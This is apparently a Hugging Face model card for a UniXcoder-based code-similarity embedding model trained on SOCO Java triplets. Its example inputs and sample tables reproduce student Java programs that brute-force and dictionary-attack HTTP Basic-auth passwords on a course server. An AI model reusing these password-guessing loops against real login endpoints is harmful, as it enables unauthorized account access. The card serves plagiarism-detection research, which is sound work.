- **Base model:** [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal) <!-- at revision c6b7b85380bf4e01309a3cf5e4f686433764d923 -->
- **Maximum Sequence Length:** 512 tokens
- **Output Dimensionality:** 768 dimensions
- **Similarity Function:** Cosine Similarity
- **Training Dataset:**
- [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java)
<!-- - **Language:** Unknown -->
<!-- - **License:** Unknown -->
### Model Sources
- **Documentation:** [Sentence Transformers Documentation](https://sbert.net)
- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers)
- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers)
### Full Model Architecture
```
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
```
## Usage
### Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
```bash
pip install -U sentence-transformers
```
Then you can load this model and run inference.
```python
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-UnixCoder-MNLR-Triplets-e10")
# Run inference
sentences = [
'import java.net.*;\nimport java.io.*;\n\npublic class BruteForce {\n private String strUserName;\n private String strURL;\n private int iAttempts;\n \n public BruteForce(String strURL,String strUserName) {\n this.strURL = strURL;\n this.strUserName = strUserName;\n this.iAttempts = 0 ;\n\n }\n \n public String getPassword(){\n URL u;\n String result ="";\n PassGenBrute PG = new PassGenBrute(3);\n URLConnection uc;\n String strPassword = new String();\n String strEncode;\n try{\n while (result.compareTo("HTTP/1.1 200 OK")!=0){\n \n strEncode = PG.getNewPassword();\n u = new URL(strURL);\n uc = u.openConnection();\n uc.setDoInput(true);\n uc.setDoOutput(true);\n strPassword = strEncode;\n strEncode = strUserName + ":" + strEncode;\n \n strEncode = new String(Base64.encode(strEncode.getBytes()));\n uc.setRequestProperty("Authorization"," " + strEncode);\n \n result = uc.getHeaderField(0);\n uc = null;\n u = null;\n iAttempts++;\n }\n\n }\n catch (Exception me) {\n System.out.println("MalformedURLException: "+me);\n }\n return(strPassword);\n }\n \n public int getAttempts(){\n return (iAttempts);\n };\n \n public static void main (String arg[]){\n timeStart = 0;\n timeEnd = 0;\n \n if (arg.length == 2) {\n BruteForce BF = new BruteForce(arg[0],arg[1]);\n System.out.println("Processing ... ");\n timeStart = System.currentTimeMillis();\n \n System.out.println("Password = " + BF.getPassword());\n timeEnd = System.currentTimeMillis();\n System.out.println("Total Time Taken = " + (timeEnd - timeStart) + " (msec)");\n System.out.println("Total Attempts = " + BF.getAttempts());\n }\n else {\n System.out.println("[Usage] java BruteForce <URL> <USERNAME>");\n\n }\n\n }\n}\n\nclass PassGenBrute {\n private char[] password;\n public PassGenBrute(int lenght) {\n password = new char[lenght];\n for (int i = 0; i < lenght; i++){\n password[i] = 65;\n }\n password[0]--;\n }\n \n public String getNewPassword()\n throws PasswordFailureException{\n password[0]++;\n\n try {\n for (int i=0; i<password.length ; i++){\n if (password[i] == 90) {\n password[i] = 97;\n }\n if (password[i] > 122) {\n password[i] = 65;\n password[i+1]++;\n }\n }\n }\n catch (RuntimeException re){\n throw new PasswordFailureException ();\n }\n return new String(password);\n }\n}\n\nclass PasswordFailureException extends RuntimeException {\n\n public PasswordFailureException() {\n }\n}',
'import java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary {\n private String strUserName;\n private String strURL;\n private String strDictPath;\n private int iAttempts;\n\n \n public Dictionary(String strURL,String strUserName,String strDictPath) {\n this.strURL = strURL;\n this.strUserName = strUserName;\n this.iAttempts = 0 ;\n this.strDictPath = strDictPath;\n }\n \n\n public String getPassword(){\n URL u;\n String result ="";\n PassGenDict PG = new PassGenDict(3,strDictPath);\n URLConnection uc;\n String strPassword = new String();\n String strEncode;\n try{\n while (result.compareTo("HTTP/1.1 200 OK")!=0){\n \n strEncode = PG.getNewPassword();\n u = new URL(strURL);\n uc = u.openConnection();\n uc.setDoInput(true);\n uc.setDoOutput(true);\n strPassword = strEncode;\n strEncode = strUserName + ":" + strEncode;\n \n strEncode = new String(Base64.encode(strEncode.getBytes()));\n uc.setRequestProperty("Authorization"," " + strEncode);\n \n result = uc.getHeaderField(0);\n uc = null;\n u = null;\n iAttempts++;\n }\n\n }\n catch (Exception me) {\n System.out.println("MalformedURLException: "+me);\n }\n return(strPassword);\n }\n \n public int getAttempts(){\n return (iAttempts);\n };\n \n public static void main(String arg[]){\n timeStart = 0;\n timeEnd = 0;\n \n if (arg.length == 3) {\n Dictionary BF = new Dictionary(arg[0],arg[1],arg[2]);\n\n System.out.println("Processing ... ");\n timeStart = System.currentTimeMillis();\n System.out.println("Password = " + BF.getPassword());\n timeEnd = System.currentTimeMillis();\n System.out.println("Total Time Taken = " + (timeEnd - timeStart) + " (msec)");\n System.out.println("Total Attempts = " + BF.getAttempts());\n }\n else {\n System.out.println("[Usage] java BruteForce <URL> <USERNAME> <Dictionary path>");\n\n }\n\n }\n}\n\n\nclass PassGenDict {\n\n private char[] password;\n private String line;\n int iPassLenght;\n private BufferedReader inputFile;\n public PassGenDict(int lenght, String strDictPath) {\n try{\n inputFile = new BufferedReader(new FileReader(strDictPath));\n }\n catch (Exception e){\n }\n iPassLenght = lenght;\n }\n \n public String getNewPassword()\n throws PasswordFailureException{\n try {\n {\n line = inputFile.readLine();\n }while (line.length() != iPassLenght);\n\n }\n catch (Exception e){\n throw new PasswordFailureException ();\n }\n return (line);\n }\n}\n\nclass PasswordFailureException extends RuntimeException {\n\n public PasswordFailureException() {\n }\n}',
'import java.util.*;\nimport java.io.*;\nimport javax.swing.text.html.*;\n\n\npublic class WatchDog {\n\n public WatchDog() {\n\n }\n public static void main (String args[]) {\n DataInputStream newin;\n\n try{\n System.out.println("ishti");\n\n System.out.println("Downloading first copy");\n Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");\n String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};\n String[] cmdMail = {"//sh", "-c", "mailx -s \\"Diffrence\\" \\"@cs.rmit.edu.\\" < Diff.txt"};\n while(true){\n Thread.sleep(24*60*60*1000);\n System.out.println("Downloading new copy");\n Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");\n Thread.sleep(2000);\n Runtime.getRuntime().exec(cmdDiff);\n Thread.sleep(2000);\n newin = new DataInputStream( new FileInputStream( "Diff.txt"));\n if (newin.readLine() != null){\n System.out.println("Sending Mail");\n Runtime.getRuntime().exec(cmdMail);\n Runtime.getRuntime().exec("cp newfile.html oldfile.html");\n\n }\n }\n\n }\n catch(Exception e){\n e.printStackTrace();\n }\n\n }\n\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
```
<!--
### Direct Usage (Transformers)
<details><summary>Click to see the direct usage in Transformers</summary>
</details>
-->
<!--
### Downstream Usage (Sentence Transformers)
You can finetune this model on your own dataset.
<details><summary>Click to expand</summary>
</details>
-->
<!--
### Out-of-Scope Use
*List how the model may foreseeably be misused and address what users ought not to do with the model.*
-->
<!--
## Bias, Risks and Limitations
*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.*
-->
<!--
### Recommendations
*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.*
-->
## Training Details
### Training Dataset
#### soco_train_java
* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476)
* Size: 38,664 training samples
* Columns: <code>anchor_code</code>, <code>positive_code</code>, and <code>negative_code</code>
* Approximate statistics based on the first 1000 samples:
| | anchor_code | positive_code | negative_code |
|:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|
| type | string | string | string |
| details | <ul><li>min: 51 tokens</li><li>mean: 466.79 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 467.59 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 455.04 tokens</li><li>max: 512 tokens</li></ul> |
* Samples:
| anchor_code | positive_code | negative_code |
|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <code><br><br>import java.io.*;<br>import java.net.*;<br>import java.misc.BASE64Encoder;<br><br>public class Dictionary<br>{<br> public Dictionary()<br> {}<br><br> public boolean fetchURL(String urlString,String username,String password)<br> {<br> StringWriter sw= new StringWriter();<br> PrintWriter pw = new PrintWriter();<br> try{<br> URL url=new URL(urlString); <br> String userPwd= username+":"+password;<br><br> <br> <br> <br> <br><br> BASE64Encoder encoder = new BASE64Encoder();<br> String encodedStr = encoder.encode (userPwd.getBytes());<br> System.out.println("Original String = " + userPwd);<br> System.out.println("Encoded String = " + encodedStr);<br><br> HttpURLConnection huc=(HttpURLConnection) url.openConnection(); <br> huc.setRequestProperty( "Authorization"," "+encodedStr); <br> InputStream content = (InputStream)huc.getInputStream();<br> BufferedReader in =<br> new BufferedReader (new InputStreamReader (content));<br> String line;<br> while ((line = in.readLine())...</code> | <code><br><br>import java.io.*;<br>import java.net.*;<br>import java.misc.BASE64Encoder;<br><br>public class BruteForce<br>{<br> public BruteForce()<br> {}<br><br> public boolean fetchURL(String urlString,String username,String password)<br> {<br> StringWriter = new StringWriter();<br> PrintWriter pw = new PrintWriter();<br> try{<br> URL url=new URL(urlString); <br> String userPwd= username+":"+password;<br><br> <br> <br> <br> <br><br> BASE64Encoder encoder = new BASE64Encoder();<br> String encodedStr = encoder.encode (userPwd.getBytes());<br> System.out.println("Original String = " + userPwd);<br> System.out.println("Encoded String = " + encodedStr);<br><br> HttpURLConnection huc=(HttpURLConnection) url.openConnection(); <br> huc.setRequestProperty( "Authorization"," "+encodedStr); <br> InputStream content = (InputStream)huc.getInputStream();<br> BufferedReader in = <br> new BufferedReader (new InputStreamReader (content));<br> String line;<br> while ((line = in.readLine()) ...</code> | <code><br><br>import java.net.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class Dictionary{<br><br> private static URL location;<br> private static String user;<br> private BufferedReader input;<br> private static BufferedReader dictionary;<br> private int maxLetters = 3;<br><br> <br><br> public Dictionary() {<br> <br> Authenticator.setDefault(new MyAuthenticator ());<br><br> startTime = System.currentTimeMillis();<br> boolean passwordMatched = false;<br> while (!passwordMatched) {<br> try {<br> input = new BufferedReader(new InputStreamReader(location.openStream()));<br> String line = input.readLine();<br> while (line != null) {<br> System.out.println(line);<br> line = input.readLine();<br> }<br> input.close();<br> passwordMatched = true;<br> }<br> catch (ProtocolException e)<br> {<br> <br> <br> }<br> catch (ConnectException e) {<br> System.out.println("Failed connect");<br> }<br> catch (IOException e) ...</code> |
| <code><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br><br>public class WatchdogPropertyHelper {<br><br> private static Properties testProps;<br><br><br><br> public WatchdogPropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the watchddog Props");<br> e.printStackTrace();<br> }<br> return testProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(testProps == null){<br> testProps = new Properties();<br><br> InputStream fis =<br> WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties");<br> testProps.load(fis);<br> }<br> }<br>}<br></code> | <code><br><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br>public class BruteForcePropertyHelper {<br><br> private static Properties bruteForceProps;<br><br><br><br> public BruteForcePropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the burteforce Props");<br> e.printStackTrace();<br> }<br> return bruteForceProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(bruteForceProps == null){<br> bruteForceProps = new Properties();<br><br> InputStream fis =<br> BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");<br> bruteForceProps.load(fis);<br> }<br> }<br>}<br><br></code> | <code><br><br><br><br><br><br><br><br>import java.io.*;<br>import java.net.*;<br>import javax.swing.Timer;<br>import java.awt.event.*;<br>import javax.swing.JOptionPane;<br><br>public class WatchDog <br>{<br> private static Process pro = null;<br> private static Runtime run = Runtime.getRuntime();<br> <br> public static void main(String[] args) <br> {<br> String cmd = null;<br> try<br> {<br> cmd = new String("wget -O original.txt http://www.cs.rmit.edu./students/");<br><br> pro = run.exec(cmd);<br> System.out.println(cmd);<br> }<br> catch (IOException e)<br> {<br> }<br> <br> class Watch implements ActionListener<br> {<br> BufferedReader in = null;<br> String str = null;<br> Socket socket;<br> public void actionPerformed (ActionEvent event)<br> {<br> <br> try<br> {<br> System.out.println("in Watch!");<br> String cmd = new String();<br> int ERROR = 1;<br> cmd = new String("wget -O new.txt http://www.cs.rmit.edu./students/");<br><br><br> System.out.println(cmd);<br> cmd = new String("diff original.txt new.txt");<br> pro = run.exec(cmd);<br> System.out.println(cmd);<br> in = new Buf...</code> |
| <code><br>import java.net.*; <br>import java.io.*; <br>public class BruteForce {<br>private static String password=" "; <br><br> <br> public static void main(String[] args) {<br> String Result=""; <br> if (args.length<1)<br> {<br> System.out.println("Error: Correct Format Filename, username e.g<>"); <br> System.exit(1); <br> }<br> BruteForce bruteForce1 = new BruteForce();<br> Result=bruteForce1.Password("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]); <br> System.out.println("The Password of "+args[0]+"is.."+Result); <br> <br> }<br><br><br><br> private String Password(String urlString,String username) <br> { <br> int cnt=0;<br> <br> t0 = System.currentTimeMillis(); <br> for ( char ch = 'A'; ch <= 'z'; ch++ )<br> { <br> if (ch>'Z' && ch<'a')<br> { <br> ch='a'; <br> } <br> <br> for ( char ch1 = 'A'; ch1 <= 'z'; ch1++ )<br> { <br> <br> if (ch1>'Z' && ch1<'a')<br> { <br> ch1='a'; <br> }<br><br><br> for ( char ch2 = 'A'; ch2 <= 'z'; ch2++ )<br> { <br> if (ch2>'Z' && ch2<'a')<br> { <br> ...</code> | <code><br><br>import java.net.*; <br>import java.io.*; <br>import java.util.Date; <br>public class Dictionary{<br>private static String password=" "; <br><br> <br> public static void main(String[] args) {<br> String Result=""; <br> if (args.length<1)<br> {<br> System.out.println("Correct Format Filename username e.g<>"); <br> System.exit(1); <br> }<br> <br> Dictionary dicton1 = new Dictionary();<br> Result=dicton1.Dict("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]); <br> System.out.println("Cracked Password for The User "+args[0]+" The Password is.."+Result); <br> <br><br> <br> <br> }<br><br><br><br> private String Dict(String urlString,String username) <br> { <br> int cnt=0;<br> FileInputStream stream=null;<br> DataInputStream word=null;<br><br> try{ <br> stream = new FileInputStream ("/usr/share/lib/dict/words"); <br><br> word =new DataInputStream(stream);<br> t0 = System.currentTimeMillis(); <br> while (word.available() !=0) <br> {<br> <br> password=word.readLine();<br> if (password.length()!=3)<br> {<br> continue;<br> }<br> System.out.print("...</code> | <code><br>package java.httputils;<br><br>import java.io.IOException;<br>import java.net.MalformedURLException;<br>import java.util.ArrayList;<br>import java.util.Iterator;<br><br><br>public class RunnableHttpRequest extends Thread<br>{<br> protected String targetURL = "http://localhost:8080/";<br> protected int requestCount = 1;<br> protected ArrayList timingList = new ArrayList();<br> protected HttpRequestClient req;<br> Boolean finished = new Boolean(false);<br> HttpRequestThreadPool pool;<br><br> <br> public void run()<br> {<br> try<br> {<br> for (int i = 0; i < getRequestCount() && !getFinished().booleanValue(); i++)<br> {<br> try<br> {<br> req =<br> new HttpRequestClient(getTargetURL());<br><br> <br> }<br> catch (MalformedURLException e)<br> {<br> e.printStackTrace();<br> break;<br> }<br> catch (IOException e)<br> {<br> ...</code> |
* Loss: [<code>MultipleNegativesRankingLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#multiplenegativesrankingloss) with these parameters:
```json
{
"scale": 20.0,
"similarity_fct": "cos_sim"
}
```
### Evaluation Dataset
#### soco_train_java
* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476)
* Size: 4,296 evaluation samples
* Columns: <code>anchor_code</code>, <code>positive_code</code>, and <code>negative_code</code>
* Approximate statistics based on the first 1000 samples:
| | anchor_code | positive_code | negative_code |
|:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|
| type | string | string | string |
| details | <ul><li>min: 51 tokens</li><li>mean: 465.86 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 465.32 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 458.73 tokens</li><li>max: 512 tokens</li></ul> |
* Samples:
| anchor_code | positive_code | negative_code |
|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <code><br><br><br><br><br><br>import java.util.*;<br>import java.io.*;<br><br>public class WatchDog<br>{ <br><br> public static void main(String args[])<br> {<br><br> Runtime rt1 = Runtime.getRuntime();<br> Process prss1= null;<br><br> try<br> {<br> prss1 = rt1.exec("wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/");<br> }catch(java.io.IOException e){}<br><br> MyWatchDogTimer w = new MyWatchDogTimer();<br> Timer time = new Timer();<br> time.schedule(w,864000000,864000000);<br><br> <br> }<br>}<br></code> | <code> <br><br><br><br><br>import java.util.*;<br>import java.io.*;<br><br>public class MyTimer<br>{ <br><br> public static void main(String args[])<br> {<br> Watchdog watch = new Watchdog();<br> Timer time = new Timer();<br> time.schedule(watch,864000000,864000000);<br> <br> <br> }<br>}<br></code> | <code>import java.net.*; <br>import java.io.*; <br>import java.util.Vector;<br>import java.util.Date;<br>import java.security.*;<br><br><br><br><br><br><br><br><br><br><br><br> <br>public class Dictionary { <br> public static BufferedReader in;<br> <br> <br> public static void main(String[] args) throws Exception { <br> String baseURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; <br> int count=0;<br> Date date = new Date();<br> startTime=date.getTime();<br> int LIMITINMINUTES=45;<br> int TIMELIMIT=LIMITINMINUTES*1000*60;<br> boolean timedOut=false;<br> boolean found=false;<br> <br> <br> Vector dictionary=new Vector(readWords());<br> System.out.println("Words in dictionary: "+dictionary.size());<br> <br> <br> <br> <br> <br> <br> <br> while (found==false && timedOut==false && dictionary.elementAt(count)!=null) {<br> <br> Date endDate = new Date();<br> endTime=endDate.getTime(); <br> if (endTime>(TIMELIMIT+startTime)){<br> System.out.println("Timed out");<br> timedOut=true;<br> }<br> <br> String password = "";<br><br> ...</code> |
| <code><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br><br><br>public class MailsendPropertyHelper {<br><br> private static Properties testProps;<br><br> public MailsendPropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the watchddog Props");<br> e.printStackTrace();<br> }<br> return testProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(testProps == null){<br> testProps = new Properties();<br><br> InputStream fis =<br> MailsendPropertyHelper.class.getResourceAsStream("/mailsend.properties");<br> testProps.load(fis);<br> }<br> }<br>}<br><br><br><br><br><br></code> | <code><br><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br>public class BruteForcePropertyHelper {<br><br> private static Properties bruteForceProps;<br><br><br><br> public BruteForcePropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the burteforce Props");<br> e.printStackTrace();<br> }<br> return bruteForceProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(bruteForceProps == null){<br> bruteForceProps = new Properties();<br><br> InputStream fis =<br> BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");<br> bruteForceProps.load(fis);<br> }<br> }<br>}<br><br></code> | <code><br>import java.net.*;<br>import java.io.*;<br>import java.Ostermiller.util.*;<br>import java.util.*;<br><br>public class MyClient2 implements Runnable<br>{<br> private String hostname;<br> private int port;<br> private String filename;<br> private Socket s;<br> private int n;<br> private InputStream sin;<br> private OutputStream sout;<br> private int dif;<br> private String myPassword;<br> private int status;<br> private int myTime;<br> private BruteForce myMaster;<br> <br><br> public MyClient2(BruteForce bf , int num, int myPort, String password)<br> {<br> <br> hostname = new String("sec-crack.cs.rmit.edu.");<br> port = myPort;<br> status = 0;<br> myTime = 0;<br> myPassword = password;<br> filename = new String("/SEC/2/");<br> myMaster = 0;<br> n = num;<br> dif = 0;<br> <br> }<br> public getDif()<br> {<br> return dif;<br> }<br> public int getStatus()<br> {<br> return status;<br> }<br> public void run() <br> {<br> String inputLine;<br> String[] tokens = new String[5];<br> int i;<br> myTime = 0;<br> ...</code> |
| <code>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br><br>public class Dictionary<br>{<br> public static void main (String args[])<br> {<br> <br> <br> Calendar cal = Calendar.getInstance();<br> Date now=cal.getTime();<br> double startTime = now.getTime();<br><br> String password=getPassword(startTime);<br> System.out.println("The password is " + password);<br> }<br><br> public static String getPassword(double startTime)<br> {<br> String password="";<br> int requests=0;<br><br> try<br> {<br> <br> FileReader fRead = new FileReader("/usr/share/lib/dict/words");<br> BufferedReader buf = new BufferedReader(fRead);<br><br> password=buf.readLine();<br><br> while (password != null)<br> {<br> <br> if (password.length()<=3)<br> {<br> requests++;<br> if (testPassword(password, startTime, requests))<br> return password;<br> }<br><br> password = buf.readLine();<br><br> }<br> }<br> catch (IOException ioe)<br> {<br><br> }<br><br> return password;<br> }<br><br> private static boolean testPassword(String password, double startTime, int requests)<br> {<br> try<br> {<br> <br> <br> U...</code> | <code>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br><br>public class BruteForce<br>{<br><br> public static void main(String args[])<br> {<br> <br> <br> Calendar cal = Calendar.getInstance();<br> Date now=cal.getTime();<br> double startTime = now.getTime();<br><br> String password=getPassword(startTime);<br> System.out.println("The password is " + password);<br> }<br><br> public static String getPassword(double startTime)<br> {<br> char first, second, third;<br> String password="";<br> int requests=0;<br><br> <br> for (int i=65; i<123; i++)<br> {<br> requests++;<br> first = (char) i;<br><br> password = first + "";<br><br> <br> if (testPassword(password, startTime, requests))<br> return password;<br><br> for (int j=65; j<123; j++)<br> {<br> requests++;<br> second = (char) j;<br><br> password = first + "" + second;<br><br> <br> if (testPassword(password, startTime, requests))<br> return password;<br><br> for (int k=65; k<123; k++)<br> {<br> requests++;<br> third = (char) k;<br><br> password = first + "" + second + "" + third;<br><br> <br> if (test...</code> | <code><br><br>import java.misc.BASE64Encoder;<br>import java.misc.BASE64Decoder;<br>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br><br><br>public class Dictionary {<br> <br> public Dictionary(String url, String dictionaryFile) {<br> try{<br> this.url = url;<br> this.dictionaryPath = dictionaryFile;<br> InputStream fis = new FileInputStream(this.dictionaryPath);<br> dict = new BufferedReader(new InputStreamReader(fis));<br><br> }catch(IOException ioe){<br> System.out.println("Error opening dictionary file:\n" +ioe);<br> }<br> }<br><br><br> <br> private String url = null;<br> <br> private String dictionaryPath = null;<br> <br> private BufferedReader dict = null;<br> <br> private int attempts = 0;<br> <br> private int passwordSize = 3;<br> <br> public void setPasswordSize(int size){<br> this.passwordSize = size;<br> }<br> <br> public String getNextPassword()throws IOException{<br><br> String line = dict.readLine();<br><br> while(line!=null&&line.length()!=this.passwordSize )<br> line = dict.readLine();<br><br> return line;<br> }<br> <br> publ...</code> |
* Loss: [<code>MultipleNegativesRankingLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#multiplenegativesrankingloss) with these parameters:
```json
{
"scale": 20.0,
"similarity_fct": "cos_sim"
}
```
### Training Hyperparameters
#### Non-Default Hyperparameters
- `eval_strategy`: steps
- `per_device_train_batch_size`: 16
- `per_device_eval_batch_size`: 16
- `num_train_epochs`: 1
- `warmup_ratio`: 0.1
- `fp16`: True
- `batch_sampler`: no_duplicates
#### All Hyperparameters
<details><summary>Click to expand</summary>
- `overwrite_output_dir`: False
- `do_predict`: False
- `eval_strategy`: steps
- `prediction_loss_only`: True
- `per_device_train_batch_size`: 16
- `per_device_eval_batch_size`: 16
- `per_gpu_train_batch_size`: None
- `per_gpu_eval_batch_size`: None
- `gradient_accumulation_steps`: 1
- `eval_accumulation_steps`: None
- `torch_empty_cache_steps`: None
- `learning_rate`: 5e-05
- `weight_decay`: 0.0
- `adam_beta1`: 0.9
- `adam_beta2`: 0.999
- `adam_epsilon`: 1e-08
- `max_grad_norm`: 1.0
- `num_train_epochs`: 1
- `max_steps`: -1
- `lr_scheduler_type`: linear
- `lr_scheduler_kwargs`: {}
- `warmup_ratio`: 0.1
- `warmup_steps`: 0
- `log_level`: passive
- `log_level_replica`: warning
- `log_on_each_node`: True
- `logging_nan_inf_filter`: True
- `save_safetensors`: True
- `save_on_each_node`: False
- `save_only_model`: False
- `restore_callback_states_from_checkpoint`: False
- `no_cuda`: False
- `use_cpu`: False
- `use_mps_device`: False
- `seed`: 42
- `data_seed`: None
- `jit_mode_eval`: False
- `use_ipex`: False
- `bf16`: False
- `fp16`: True
- `fp16_opt_level`: O1
- `half_precision_backend`: auto
- `bf16_full_eval`: False
- `fp16_full_eval`: False
- `tf32`: None
- `local_rank`: 0
- `ddp_backend`: None
- `tpu_num_cores`: None
- `tpu_metrics_debug`: False
- `debug`: []
- `dataloader_drop_last`: False
- `dataloader_num_workers`: 0
- `dataloader_prefetch_factor`: None
- `past_index`: -1
- `disable_tqdm`: False
- `remove_unused_columns`: True
- `label_names`: None
- `load_best_model_at_end`: False
- `ignore_data_skip`: False
- `fsdp`: []
- `fsdp_min_num_params`: 0
- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
- `fsdp_transformer_layer_cls_to_wrap`: None
- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
- `deepspeed`: None
- `label_smoothing_factor`: 0.0
- `optim`: adamw_torch
- `optim_args`: None
- `adafactor`: False
- `group_by_length`: False
